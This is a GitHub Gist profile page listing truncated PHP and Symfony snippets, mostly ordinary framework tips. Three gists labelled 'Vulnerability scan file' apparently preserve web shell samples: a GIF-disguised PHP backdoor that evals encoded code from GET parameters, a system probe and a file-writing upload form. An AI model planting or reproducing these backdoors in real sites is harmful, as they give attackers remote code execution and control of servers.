Skip to content

Instantly share code, notes, and snippets.

View smottt's full-sized avatar

Metod smottt

View GitHub Profile
@smottt
smottt / fix.php
Created January 31, 2012 20:08
Serialization of 'Symfony\Component\HttpFoundation\File\UploadedFile' is not allowed.
<?php
public function __sleep()
{
$ref = new \ReflectionClass(__CLASS__);
$props = $ref->getProperties(\ReflectionProperty::IS_PROTECTED);
$serialize_fields = array();
foreach ($props as $prop) {
@smottt
smottt / 2.php
Created February 1, 2012 10:41
Vulnerability scan file
GIF89a?????ÿÿÿ!ù????,???????D?;?<?php
@error_reporting(0);
@set_time_limit(0);
$lol = $_GET['lol'];
$osc = $_GET['osc'];
if (isset($lol)) {
eval(gzinflate(base64_decode('pZ...gE=')));
die;
}
@smottt
smottt / lol.php
Created February 1, 2012 10:43
Vulnerability scan file
<?php
echo "v0pCr3w";
echo "sys:".php_uname()."";
$cmd = "echo nob0dyCr3w";
$eseguicmd = ex($cmd);
echo $eseguicmd;
@smottt
smottt / else.php
Created February 1, 2012 10:46
Vulnerability scan file
<?php
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
@smottt
smottt / AcmeCommand.php
Created March 31, 2012 12:15
Quick tip for setting the correct host in your custom symfony2 command.
<?php
namespace Acme\DemoBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
class AcmeCommand extends ContainerAwareCommand
{
@smottt
smottt / contenteditable.html
Created April 11, 2012 15:31
contenteditable example
<html>
<head>
<title>contenteditable example</title>
</head>
<body>
<!-- html code ... -->
<article contenteditable="true" date-edit-url="update.php">
Some content here ...
</article>
@smottt
smottt / gist:2971330
Created June 22, 2012 08:30
UserInterface equals method
<?php
class User implements UserInterface
{
// ...
/**
* Compares this user to another to determine if they are the same.
*
* @param UserInterface $user
@smottt
smottt / gist:2971338
Created June 22, 2012 08:32
UserInterface equals method
<?php
class User implements UserInterface
{
// ...
/**
* Compares this user to another to determine if they are the same.
*
* @param UserInterface $user
@smottt
smottt / ts3.php
Created September 9, 2012 09:52
Post msgs to Teamspeak3 instance
<?php
namespace Acme\Demo;
// some configuration
$all_channels = true;
$bot_name = 'TS3 BOT';
$msg = 'Hello World!';
$url = vsprintf('serverquery://username:[email protected]:10011/?server_port=9987&nickname=%s', array(
@smottt
smottt / MyType.php
Created November 12, 2012 12:46
CallbackValidator example
<?php
namespace Acme\DemoBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\Form\FormError;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\Form\FormError;
use Symfony\Component\Form\CallbackValidator;